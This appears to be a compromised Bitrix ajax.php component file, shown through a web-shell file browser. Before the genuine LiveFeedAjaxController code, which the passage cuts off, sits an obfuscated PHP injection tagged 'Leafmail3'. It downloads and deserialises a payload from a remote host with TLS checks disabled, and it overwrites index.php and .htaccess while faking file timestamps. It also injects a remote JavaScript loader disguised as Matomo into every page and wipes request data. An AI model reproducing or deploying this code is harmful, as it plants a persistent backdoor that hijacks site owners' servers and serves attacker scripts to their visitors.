Your IP : 3.131.98.117


Current Path : /home/bitrix/ext_www/klimatlend.ua/bitrix/components/bitrix/lists.live.feed/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/bitrix/components/bitrix/lists.live.feed/ajax.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
use Bitrix\Lists\Internals\Error\Error;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Loader;
use Bitrix\Lists\Internals\Controller;
use Bitrix\Main\Text\HtmlFilter;

define('STOP_STATISTICS', true);
define('BX_SECURITY_SHOW_MESSAGE', true);

require_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/prolog_before.php');

if (!Loader::IncludeModule('lists') || !\Bitrix\Main\Application::getInstance()->getContext()->getRequest()->getQuery('action'))
{
	return;
}

Loc::loadMessages(__FILE__);

class LiveFeedAjaxController extends Controller
{
	/** @var  array */
	protected $lists = array();
	protected $formOprions = array();
	/** @var  string */
	protected $iblockTypeId = 'bitrix_processes';
	protected $listPerm;
	protected $formId;
	protected $randomString;
	protected $iblockDescription;
	protected $iblockCode;
	/** @var  int */
	protected $socnetGroupId = 0;
	protected $iblockId;

	protected function listOfActions()
	{
		return array(
			'getList' => array(
				'method' => array('POST'),
			),
			'setDelegateResponsible' => array(
				'method' => array('POST'),
			),
			'setResponsible' => array(
				'method' => array('POST'),
			),
			'getBizprocTemplateId' => array(
				'method' => array('POST'),
			),
			'createSettingsDropdown' => array(
				'method' => array('POST'),
			),
			'checkPermissions' => array(
				'method' => array('POST'),
			),
			'isConstantsTuned' => array(
				'method' => array('POST'),
			),
			'checkDelegateResponsible' => array(
				'method' => array('POST'),
			),
			'checkDataElementCreation' => array(
				'method' => array('POST'),
			),
			'getListAdmin' => array(
				'method' => array('POST'),
			),
			'notifyAdmin' => array(
				'method' => array('POST'),
			),
		);
	}

	protected function processActionGetList()
	{
		if(!CLists::isFeatureEnabled())
		{
			ShowError(Loc::getMessage('LISTS_SEAC_ACCESS_DENIED'));
			return;
		}

		$this->checkRequiredPostParams(array('iblockId', 'randomString'));

		if($this->errorCollection->hasErrors())
		{
			$errorObject = array_shift($this->errorCollection->toArray());
			ShowError($errorObject->getMessage());
			return;
		}

		$this->iblockId = intval($this->request->getPost('iblockId'));
		$this->iblockDescription = $this->request->getPost('iblockDescription');
		$this->iblockCode = $this->request->getPost('iblockCode');
		$this->socnetGroupId = intval($this->request->getPost('socnetGroupId'));

		$this->iblockTypeId = COption::GetOptionString("lists", "livefeed_iblock_type_id");
		$this->checkPermissionElement();
		if($this->errorCollection->hasErrors())
		{
			$errorObject = array_shift($this->errorCollection->toArray());
			ShowError($errorObject->getMessage());
			return;
		}

		$this->formId = 'lists_element_add_'.$this->iblockId;
		$this->randomString = htmlspecialcharsbx($this->request->getPost('randomString'));

		$this->getListData();
		$this->createPreparedFields();
		if(Loader::includeModule('bizproc') && CBPRuntime::isFeatureEnabled())
			$this->getBizprocData();

		$this->createHtml();
	}

	protected function processActionSetDelegateResponsible()
	{
		$this->checkRequiredPostParams(array('iblockId'));
		if(!Loader::includeModule('iblock'))
		{
			$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_CONNECTION_MODULE_IBLOCK'))));
		}
		$this->iblockId = intval($this->request->getPost('iblockId'));
		$this->iblockTypeId = COption::GetOptionString("lists", "livefeed_iblock_type_id");
		$this->checkPermission();
		if($this->errorCollection->hasErrors())
		{
			$this->sendJsonErrorResponse();
		}

		$selectUsers = $this->request->getPost('selectUsers');

		$rightObject = new CIBlockRights($this->iblockId);
		$rights = $rightObject->getRights();
		$rightsList = $rightObject->getRightsList(false);
		$idRight = array_search('iblock_full', $rightsList);
		foreach($rights as $keyRight => $right)
		{
			$res = strpos($right['GROUP_CODE'], 'U');
			if($res === 0)
			{
				$arraySearch = array_search($right['GROUP_CODE'], $selectUsers);
				if($right['TASK_ID'] == $idRight)
				{
					if(!empty($selectUsers))
					{
						if($arraySearch || $arraySearch == 0)
							unset($rights[$keyRight]);
					}
					else
						unset($rights[$keyRight]);
				}
				else
				{
					if(!empty($selectUsers))
					{
						if($arraySearch || $arraySearch == 0)
							unset($rights[$keyRight]);
					}
				}
			}
		}
		if(!empty($selectUsers))
		{
			foreach($selectUsers as $keySelect => $idUser)
			{
				$rights['n'.$keySelect] = array('GROUP_CODE' => $idUser, 'TASK_ID' => $idRight);
			}
		}
		$rightObject->setRights($rights);

		$this->sendJsonSuccessResponse(array(
			'message' => Loc::getMessage('LISTS_SEAC_MESSAGE_DELEGATE_RESPONSIBLE')
		));
	}

	/**
	 * Displays a form to fill constants
	 * return html
	 */
	protected function processActionSetResponsible()
	{
		$this->checkRequiredPostParams(array('iblockId', 'randomString'));
		if(!Loader::includeModule('bizproc') || !CBPRuntime::isFeatureEnabled())
		{
			$this->errorCollection->add(array(new Error(Loc::getMessage('LISTS_SEAC_CONNECTION_MODULE_BIZPROC'))));
		}
		if($this->errorCollection->hasErrors())
		{
			$errorObject = array_shift($this->errorCollection->toArray());
			ShowError($errorObject->getMessage());
			return;
		}
		$this->iblockId = intval($this->request->getPost('iblockId'));
		if(!CIBlockRights::UserHasRightTo($this->iblockId, $this->iblockId, 'iblock_edit'))
		{
			ShowError(Loc::getMessage('LISTS_SEAC_ACCESS_DENIED'));
			return;
		}

		$html = '';
		$templateId = intval($this->request->getPost('templateId'));
		if(!empty($templateId))
		{
			$documentType = BizprocDocument::generateDocumentComplexType(
				COption::GetOptionString("lists", "livefeed_iblock_type_id"),
				$this->iblockId
			);
			$templateLoader = CBPWorkflowTemplateLoader::GetLoader();
			$templateQuery = $templateLoader->getTemplatesList(
				array('ID' => 'DESC'),
				array('DOCUMENT_TYPE' => $documentType, 'ID' => $templateId),
				false,
				false,
				array('ID', 'NAME')
			);
			if($template = $templateQuery->fetch())
			{
				$html .= $this->createHtmlSetConstants($template['ID'], $template['NAME']);
			}
		}
		else
		{
